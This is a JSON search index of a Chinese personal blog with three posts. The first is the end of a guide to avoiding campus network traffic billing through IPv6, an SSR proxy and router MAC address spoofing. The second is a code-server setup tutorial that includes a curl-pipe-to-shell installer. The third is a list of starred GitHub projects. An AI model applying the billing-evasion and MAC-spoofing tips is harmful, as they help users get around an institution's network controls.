服务开启SSH，使用SSH客户端执行命令。\n即使有一点点v4上传流量也没关系，毕竟不收费。理论上，所有流量都应该走v6了。\n到此，主要内容就基本完成了。只要是透过路由器连接的网络，都可以免流；而对于宿舍之外，无法自行部署路由器的地方，建议搭配大流量手机卡使用。或者也可以用校园网——如果你用流量不是很多的话。如果连着校园网时能通过上述的那个网站查询到你的IPv6地址，那么开一个全局SSR也是不错的选择。我的iPad则是一直连着校园网，因为绝大部分的流量是笔记备份（上传流量），所以无需担心流量问题。\n未来如果IPv6全面普及，也许就不需要再通过SSR了，只需要那句iptables命令就可以了……SSR的作用，只是保证IPv4 only的网站正常访问。\n九 有时候会遇到路由器无法获取到IPv6地址的情况。这时在前面给路由器刷入的Breed就有用处了：重启进Breed恢复控制台，修改设备的MAC地址（最好都改改），一般能够重新获取到IPv6。\n可以使用 MAC 地址生成器 生成地址，还可以使用 MAC 地址查找 来获取到特定制造商的地址前缀（如果在IEEE注册了，而且存在于网站的数据库中），比如Apple的前缀之一是0010FA，神舟电脑ODM蓝天的前缀是0090F5。\n也可以使用 我写的 MAC 地址生成器 直接生成一批不同的MAC地址。\n现存问题 现在SSR仍然会有间歇的断开现象，而且一断就很久连不上。但就如同我的离散数学老师说的，“计算机不存在玄学问题”，我只能说不知道为什么了……\n初期也出现过一开全局就特别慢的现象，还以为是路由器性能不足，后来速度突然提升，也不知道这个是为啥。\n参考文献 红米 (小米)AC2100 无需 Telnet 刷入 Breed 和 Padavan 固件教程 - 恩山无线论坛 校园网路由器后设备使用 ipv6 经验分享 - 知乎 h 大老毛子 ipv6 的 wan 口地址获取不到 - 恩山无线论坛 ","date":"February 19, 2021","matchCount":0,"permalink":"/post/hnu-ipv6-bypass-billing/","preview":"","title":"HNU 校园网 IPv6 免流折腾实录"},{"content":"本文已经两年没有更新，code-server也已有了较大的变化，建议阅读其他更新的文章。\n众所周知，iPad上没有官方的vscode客户端，我们所搭建的也不是一个真的vscode，而是基于vscode项目而衍生的 code-server。除了让它能够在服务器上运行之外，开发者并没有做太多的改动，所以你使用的时候并不会感觉到有多大异样。\n并且，code-server的本质是一个网站，这让你不只可以在iPad上访问，也可以在Android平板、手机，甚至树莓派等一切有现代网页浏览器支持的设备上使用。当然，在有微软vscode官方支持的平台，更建议用vscode直接通过SSH连接服务器。\n准备服务器环境 租用服务器 如果你的PC有一个固定的公网IP，且可以运行Linux/macOS，可以直接跳到 “安装code-server”。 但大部分人都没有，所以还是自己租服务器吧……\n我使用的是Vultr的服务器，单核，1024M内存，25G SSD，Ubuntu 20.04，加上自动备份（我手贱）一个月6美元，能用支付宝。这个配置低于官方推荐配置，不过足够让code-server流畅运行了。\n建议不要用Windows，授权费非常贵，而且运行起来也没有Linux有效率。推荐选择Ubuntu、CentOS、Debian等系统。\n国外（尤其是美国）的服务器，相比来说网络带宽比较高（比如vultr好像不限制带宽），有IPv6（某些校园网可以免流），也可以用来做一些不能明说的事情。国内的服务器提供商，如阿里、腾讯、华为，很多有学生优惠，10块钱一个月都能租到服务器；而且国内访问起来也会快很多。\n具体的购买服务器流程，这里不再赘述，选择配置可以与我的相似，或者更高点，如果还是有困难的话可以去搜索教程。\nSSH SSH客户端，我推荐Termius，界面美观，多平台同步。GitHub Student Developer Pack自带专业版授权，只要你还是学生，就可以白嫖。\n为了便捷访问服务器，少输密码，可以生成RSA密钥，将公钥存放在服务器之后SSH服务器就不需要输入密码了。这方面还是需要自行寻找教程，推荐探索一下使用Windows自带SSH命令的方法。\n有了SSH，我们就能够像是在自己电脑上输命令一样，在服务器上输命令了。当然，不配置其实也行，只不过每次都需要去云服务商管理后台来操控。\nTermius界面\n一些SSH客户端自带SFTP功能，可以便捷地在服务器与你的电脑之间传输文件。但是很多时候，速度不尽如人意，这时我推荐WinSCP客户端，传输速度会快很多。\n请注意，Linux的文件系统与Windows的有很大不同。如果你常用Android手机或者macOS电脑（其实是类UNIX），应该会觉得有点熟悉。\n安装与运行code-server 安装其实是最简单的。直接在终端中输入如下命令：\nbash 复制代码 curl -fsSL https://code-server.dev/install.sh | sh 1 curl -fsSL https://code-server.dev/install.sh | sh 然后你就可以看到code-server被安装到了你的服务器上。\n可以直接在终端中输入\nbash 复制代码 code-server 1 code-server 来运行code-server。它会监听8080端口，也就是说，你输入localhost:8080就可以访问了。\n这个时候只能使用服务器的内网访问，和本地的vscode没啥区别，如果想将它开放至Internet，随处都可以访问，可以在后面添加 --host 参数。\n如果想用HTTPS访问，以获得最佳兼容性，可以加上 --cert 参数。后面也可以加上你自己搞到的HTTPS证书（如果有）。\n后面可以接更多的参数，可以输入 code-server --help 来查看。\ncode-server运行的时候会占用当前终端，不会后台运行，所以可以在每次使用时链接SSH开启。或者也可以使用\nbash 复制代码 screen -S screen_namecode-server (options) 1 screen -S screen_namecode-server (options) 然后按Ctrl+A+D使其后台运行。screen_name是screen的名字，（options）是自定义的参数。这样你就可以把code-server挂在后台，同时处理多项任务了。\n现在，你就可以使用服务器IP:8080来访问你的code-server。建议此处先使用桌面端浏览器来访问。\n配置开发环境 这一部分，用过vscode的同学应该不会陌生，大同小异罢了。主要面向C++ 和Python。\n编译器配置 GCC、G++ 已经内置在了系统内，无需安装，但调试用的GDB需要安装:\n（下面的命令均以Ubuntu/Debian为例；如果用的是root用户登录，不需要再输sudo）\nbash 复制代码 sudo apt install gdb 1 sudo apt install gdb 有时候，Python也已经内置在系统内，但是版本较老。比如2021/2/2的最新版本是Python 3.9.1，就可以使用\nbash 复制代码 sudo apt install python3.9 1 sudo apt install python3.9 来安装新版本。如果你需要下载Python库，还需要\nbash 复制代码 sudo apt install pip3 1 sudo apt install pip3 以安装pip。\n插件 众所周知，vscode的灵魂在于插件。由于没有添加微软的一些专有代码，code-server并不能连接完整的微软插件商店，不过我们可以在 网页版插件商店 中找到相应的插件，点击Download Extension，上传至服务器，然后手动安装就可以使用了。\n在这里下载之后，将其传到服务器任意目录。打开你的code-server，按Ctrl+Shift+P，打开命令窗口，输入install from vsix，回车，然后手动浏览刚刚上传的插件并安装。\n如果有部分插件安装失败，可以试着用code-server自带的插件商店安装。\n这里推荐我使用的一些插件。\nC++：\nBetter C++ Syntax by jeff-hykin C/C++ by ms-vscode C/C++ Themes by ms-vscode C++ Intellisense by austin CMake by twxs CMake Tools by ms-vscode Python:\nPython by ms-python Pylance by ms-python 其他：\nGitHub Pull Requests and Issues by GitHub GitLens by eamodio One Dark Pro by zhuangtongfa Rainbow Brackets by 2gua Chinese (Simplified) Language Pack for Visual Studio Code by MS-CEINTL markdownlint by DavidAnson 工作区. vscode文件夹 这本应该是最难的一步，但是微软给了一个教程，我们可以直接抄作业。主要针对于配置十分繁杂的C++，Python的话应该很简单。\n首先在code-server中打开一个文件夹，这个文件夹就是你的一个工作区，你可以把代码文件存放在里面。你可以把其他位置的文件夹加入工作区（当然，应该必须是服务器上的），也可以打开不同的文件夹 / 工作区。\n然后在这个文件夹中新建名为. vscode的文件夹，用来存放code-server适用于该工作区的配置文件（你写的代码别放在这儿），新建launch.json和tasks.json两个文件。\n在launch.json中，输入：\njson 复制代码 { \u0026#34;version\u0026#34;: \u0026#34;0.2.0\u0026#34;, \u0026#34;configurations\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;g\u0026#43;\u0026#43; build and debug active file\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;cppdbg\u0026#34;, \u0026#34;request\u0026#34;: \u0026#34;launch\u0026#34;, \u0026#34;program\u0026#34;: \u0026#34;${fileDirname}/${fileBasenameNoExtension}\u0026#34;, \u0026#34;args\u0026#34;: [], \u0026#34;stopAtEntry\u0026#34;: false, \u0026#34;cwd\u0026#34;: \u0026#34;${workspaceFolder}\u0026#34;, \u0026#34;environment\u0026#34;: [], \u0026#34;externalConsole\u0026#34;: false, \u0026#34;MIMode\u0026#34;: \u0026#34;gdb\u0026#34;, \u0026#34;setupCommands\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Enable pretty-printing for gdb\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;-enable-pretty-printing\u0026#34;, \u0026#34;ignoreFailures\u0026#34;: true } ], \u0026#34;preLaunchTask\u0026#34;: \u0026#34;g\u0026#43;\u0026#43; build active file\u0026#34;, \u0026#34;miDebuggerPath\u0026#34;: \u0026#34;/usr/bin/gdb\u0026#34; } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { \u0026#34;version\u0026#34;: \u0026#34;0.2.0\u0026#34;, \u0026#34;configurations\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;g++ build and debug active file\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;cppdbg\u0026#34;, \u0026#34;request\u0026#34;: \u0026#34;launch\u0026#34;, \u0026#34;program\u0026#34;: \u0026#34;${fileDirname}/${fileBasenameNoExtension}\u0026#34;, \u0026#34;args\u0026#34;: [], \u0026#34;stopAtEntry\u0026#34;: false, \u0026#34;cwd\u0026#34;: \u0026#34;${workspaceFolder}\u0026#34;, \u0026#34;environment\u0026#34;: [], \u0026#34;externalConsole\u0026#34;: false, \u0026#34;MIMode\u0026#34;: \u0026#34;gdb\u0026#34;, \u0026#34;setupCommands\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Enable pretty-printing for gdb\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;-enable-pretty-printing\u0026#34;, \u0026#34;ignoreFailures\u0026#34;: true } ], \u0026#34;preLaunchTask\u0026#34;: \u0026#34;g++ build active file\u0026#34;, \u0026#34;miDebuggerPath\u0026#34;: \u0026#34;/usr/bin/gdb\u0026#34; } ] } 这些内容。然后在tasks.json中输入：\njson 复制代码 { \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;shell\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;g\u0026#43;\u0026#43; build active file\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;/usr/bin/g\u0026#43;\u0026#43;\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;-g\u0026#34;, \u0026#34;${file}\u0026#34;,\u0026#34;-o\u0026#34;,\u0026#34;${fileDirname}/${fileBasenameNoExtension}\u0026#34;], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;/usr/bin\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [\u0026#34;$gcc\u0026#34;], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true } } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;shell\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;g++ build active file\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;/usr/bin/g++\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;-g\u0026#34;, \u0026#34;${file}\u0026#34;,\u0026#34;-o\u0026#34;,\u0026#34;${fileDirname}/${fileBasenameNoExtension}\u0026#34;], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;/usr/bin\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [\u0026#34;$gcc\u0026#34;], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true } } ] } 然后回到你的工作区根目录，新建一个cpp文件，写个hello world啥的。按下F5，可以开始调试。你所看到的应该是类似于这样的：\n每次打开code-server的第一次调试，都会跳到 “输出”tab，切回“终端” 就能看到输出结果了。\n在不同终端上的访问 在Windows上，推荐使用Chromium内核的浏览器进行访问，包括但不限于Chrome、微软Edge、360等浏览器。vscode基于Electron，Electron又使用了Chromium，所以code-server在Chromium内核上理应表现更好。\n在Android上，可以随便找个浏览器访问（QQ浏览器不知道能不能完美使用，不知道那个X5内核本质上是什么）\n在iOS和iPadOS上，Safari对网站的安全要求有着诸多限制，所以最好使用 Servediter 应用来连接。下载后，使用self hosted server，然后这样填写：\n应该就可以正常使用了。\nmacOS？饶了我吧，我的macOS虚拟机从开机卡到关机…… 好吧，我试了，没问题。\n建议在移动设备上配合外接键盘使用，总不会有人用触摸键盘写代码吧。并且，像我刚才说的一样，有官方vscode客户端的终端，如Linux、Windows、macOS，甚至Windows 10 ARM的Lumia 950 XL，都建议使用原版vscode连服务器，code-server的真正价值在于在没有vscode支持的终端上变相使用 “vscode”。\n参考文献 [code-server+VSApp] 在iPad上使用VSCode code-server/install.md at v3.8.0 · cdr/codeserver code-server/ipad.md at v3.8.0 · cdr/codeserver 在线 ide code-server 运行起来过程中踩到的坑及解决方法 ","date":"February 19, 2021","matchCount":0,"permalink":"/post/use-vscode-on-ipad/","preview":"","title":"从零开始搭建一个 iPad 上可用的 \"vscode\""},{"content":"众所周知，GitHub有不计其数的开源项目代码，同时它还是最大的同性交友网有很多有意思的非代码项目。\n下面是我在GitHub收藏的项目分类，~~ 持续更新~~ 早就弃坑了。\n** 欢迎光临 我的 GitHub 主页！**\nRepositories存储库 移动 GitHub\nMiPushFramework/MiPushFramework\n在非MIUI手机（主要是类原生系统）上使用小米推送服务，可以大幅度节省电量，推送也更及时。\nGitHub\npzcn/MIUI-Adapted-Icons-Complement-Project\nMIUI完美图标补全计划，是一个Magisk模块。为单层图标和不完美的双层图标适配双层图标，让桌面动画更精美。\nGitHub\nlyc8503/VizpowerHook\nHook无限宝的Xposed模块，没错，就是疫情期间那个毒瘤网课应用。要不是没有网课了，我还真想玩玩（逃）。\nGitHub\nmooselre/update_miui_ota\n小米MIUI系统开发版每日OTA包，妈妈再也不用担心我找不到完整包链接了。\n云 GitHub\nedisoncgh/LT_theme\n十分简洁的WordPress主题。\nGitHub\nsolstice23/argon-theme\n现在在用的WordPress主题，动画精美，自由度极高。\nGitHub\nlbp0200/ssr-vultr\n在Vultr服务器上自动部署酸酸乳。应该不用多说吧。\nGitHub\ncdr/code-server\n在服务器上运行一个 “vscode”，从而曲线救国，实现 “有浏览器的地方，就能编程”。更多请见 从零开始搭建一个 iPad 上可用的”vscode”。\nGitHub\ncloudreve/Cloudreve\n在服务器上搭建自己的个人网盘。空间不够？那就用OneDrive啊！Cloudreve：属于你的网盘\n日常工具 GitHub\nYtFlow/YtFlowApp\nUWP平台的网络代理。还没搞懂怎么用。\nGitHub\nFFmpeg/FFmpeg\n大名鼎鼎的FFmpeg，可以方便地转换媒体格式，以及解码。格式工厂等大量知名软件的许多视频功能就是基于它的。\nGitHub\nytdl-org/youtube-dl\n被GitHub下架又复活过来的视频下载程序。不光可以下载YouTube视频，B站等视频网站也不在话下。\nGitHub\nt1m0thyj/WinDynamicDesktop\n将macOS上的动态桌面功能搬到Windows上，实现壁纸随时间变换。\nGitHub\nopen-source-flash/open-source-flash\n开源版本的Flash，有空再研究，目前在吃灰。\nGitHub\nmicrosoft/PowerToys\n让Windows更好用的工具包，可以在系统界面中选色，批量改变图片大小，重新布局窗口，快捷显示快捷键，批量重命名，以及一个媲美macOS Spotlight的搜索。\nGitHub\nFlyGoat/RyzenAdj\n笔记本Ryzen处理器的功耗调节工具。可以调整处理器TDP、温度墙、睿频TDP等数值，让你榨干电脑每一分散热能力！可惜不能降压。建议搭配Ryzen Controller使用，这个应用托管在GitLab上。\nGitHub\nlxgw/LxgwWenKai\n霞骛文楷，一个十分具有美感的楷体字体。\nGitHub\nthe1812/Bilibili-Evolved\n极大改善了哔哩哔哩网页版播放体验。\nGitHub\nWeiYuanStudio/AutoWeiBan\n刷安全微课脚本。本人改善版本在 cyp0633/AutoWeiBan: 北京麦课安全微课 (github.com)。\nGitHub\nqier222/YesPlayMusic\n网易云音乐播放器，有Apple Music那味了。\nGitHub\ndimojang/Frogy\nWindows的屏幕使用时间统计工具。\nGitHub\nBililive/BililiveRecorder\n哔哩哔哩直播录制。\n开发工具 GitHub\nmicrosoft/vscode\n恭迎编辑器（也可以听歌玩游戏看PDF聊QQ）之神——Visual Studio Code！这和Microsoft最终发行的vscode有些许不同，但它是VSCodium和code-server等衍生项目的基石。\nGitHub\nfmtlib/fmt\n一个可以格式化代码的库。还是没弄懂，先扔进来吃灰。\nGitHub\nmicrosoft/winget-cli\nWindows的包管理应用。可以戳我写的另一篇博文，Windows 的包管理程序，WinGet 简单体验 详细了解。\nGitHub\nluogu-dev/cyaron\n能够方便地生成测试数据，包括但不限于图、树、数列、字符串等，还可以进行对拍（核对程序输出结果）。是洛谷开发组的项目。\n沙雕项目 GitHub\ntwt-tec/Silent-Writing-Master\n默写大师。目前的范围是高中英语必修一和必修二，输入课文默写题目就可以出答案。现在用不着了，但是挺有意思的。\nGitHub\nmenzi11/BullshitGenerator\n了解清楚狗屁不通文章生成器到底是一种怎么样的存在，是解决一切问题的关键。 既然如何， 我们都知道，只要有意义，那么就必须慎重考虑。 既然如此， 我们不得不面对一个非常尴尬的事实，那就是， 狗屁不通文章生成器，发生了会如何，不发生又会如何。 生活中，若狗屁不通文章生成器出现了，我们就不得不考虑它出现了的事实。 要想清楚，狗屁不通文章生成器，到底是一种怎么样的存在。 我认为， 这样看来， 亚伯拉罕 · 林肯曾经说过，我这个人走得很慢，但是我从不后退。这不禁令我深思。 这样看来， 非洲在不经意间这样说过，最灵繁的人也看不见自己的背脊。这不禁令我深思。 每个人都不得不面对这些问题。 在面对这种问题时， 俾斯麦说过一句富有哲理的话，对于不屈不挠的人来说，没有失败这回事。这不禁令我深思。 在这种困难的抉择下，本人思来想去，寝食难安。\n教程 GitHub\nOI-wiki/OI-wiki\n每个OIer（信息奥赛参赛者）都需要的教程，从工具、赛制、语言，到算法与数据结构，对于其他的编程学习者也十分有用。Wiki的网址在 oi-wiki.org。\nGitHub\nivmm/Student-resources\n大学生可以获得的各种教育优惠福利，很大一部分只需要一个. edu邮箱。\n云 ","date":"February 19, 2021","matchCount":0,"permalink":"/post/my-github-stars/","preview":"","title":"我的 GitHub Stars"}] 